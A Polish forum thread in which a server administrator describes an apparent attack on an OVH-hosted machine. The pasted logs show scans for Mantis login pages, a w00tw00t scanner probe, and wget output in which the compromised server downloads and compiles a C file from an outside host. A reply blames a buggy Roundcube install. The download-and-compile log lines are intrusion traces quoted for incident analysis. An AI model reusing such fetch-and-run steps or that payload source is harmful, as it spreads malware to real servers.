atak DOS?

[progo 0]

Wczoraj o 22:00 chyba nastąpił atak na mój serwer.

Serwer był niedostępny przez ok. 1.5 godziny. Strony włączały się 1 raz na 20 prób...

Na 4 pakiety 1-2 zostały odebrane, ping 140-170ms

Mój serwer jest w OVH, sprawdziłem wykres ruchu i widzę 98.8Mb...

Dzisiaj sprawdziłem logi i znalazłem jakiś ip 91.121.**.***

Jest to ip, który należy do ovh.

91.121.**.*** - - [02/Mar/2009:16:37:34 +0100] "GET /login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:36 +0100] "GET HTTP/1.1 HTTP/1.1" 400 466 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:37 +0100] "GET /mantis/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:38 +0100] "GET /login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:38 +0100] "GET /mantisbt/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:39 +0100] "GET /mantis/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:40 +0100] "GET /bug/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:40 +0100] "GET /mantisbt/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:40 +0100] "GET /bugs/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:41 +0100] "GET /bug/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:41 +0100] "GET /bugtrack/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:41 +0100] "GET /bugs/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:42 +0100] "GET /bugtracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:42 +0100] "GET /bugtrack/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:42 +0100] "GET /track/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:42 +0100] "GET /bugtracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:43 +0100] "GET /tracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:43 +0100] "GET /track/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:43 +0100] "GET /issuetracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:43 +0100] "GET /tracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

91.121.**.*** - - [02/Mar/2009:16:37:43 +0100] "GET /issuetracker/login_page.php HTTP/1.1" 404 485 "-" "Toata dragostea mea pentru diavola"

 

oraz takie coś:

--21:20:21-- http://ucuyorum.net/img/kk.c

=> `kk.c'

Resolving ucuyorum.net... 91.93.46.66

Connecting to ucuyorum.net[91.93.46.66]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 35,533 [text/plain]

 

0K .......... .......... .......... .... 100% 121.19 KB/s

 

21:20:26 (121.19 KB/s) - `kk.c' saved [35533/35533]

 

kk.c:127: warning: conflicting types for built-in function 'pow'

kk.c: In function 'killd':

kk.c:626: warning: the address of 'disable', will always evaluate as 'true'

ls: /usr/include/libssh.h: Nie ma takiego pliku ani katalogu

[sun Mar 01 21:21:14 2009] [error] [client 85.214.137.223] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)

--21:21:20-- http://ucuyorum.net/img/kk.c

=> `kk.c'

Resolving ucuyorum.net... 91.93.46.66

Connecting to ucuyorum.net[91.93.46.66]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 35,533 [text/plain]

 

0K .......... .......... .......... .... 100% 143.04 KB/s

 

21:21:21 (143.04 KB/s) - `kk.c' saved [35533/35533]

 

kk.c:127: warning: conflicting types for built-in function 'pow'

kk.c: In function 'killd':

kk.c:626: warning: the address of 'disable', will always evaluate as 'true'

 

Hasła do root już zmienione.

Czy jest jakiś sposób żeby znaleźć ostatnio zmodyfikowane i wgrane pliki na serwer?

Serwer działa pod kontrolą DA.

[gamepad.pl-tom 0]

roundcube jest strasznie zbugowany, polecam się nim zająć lub całkowicie wywalić.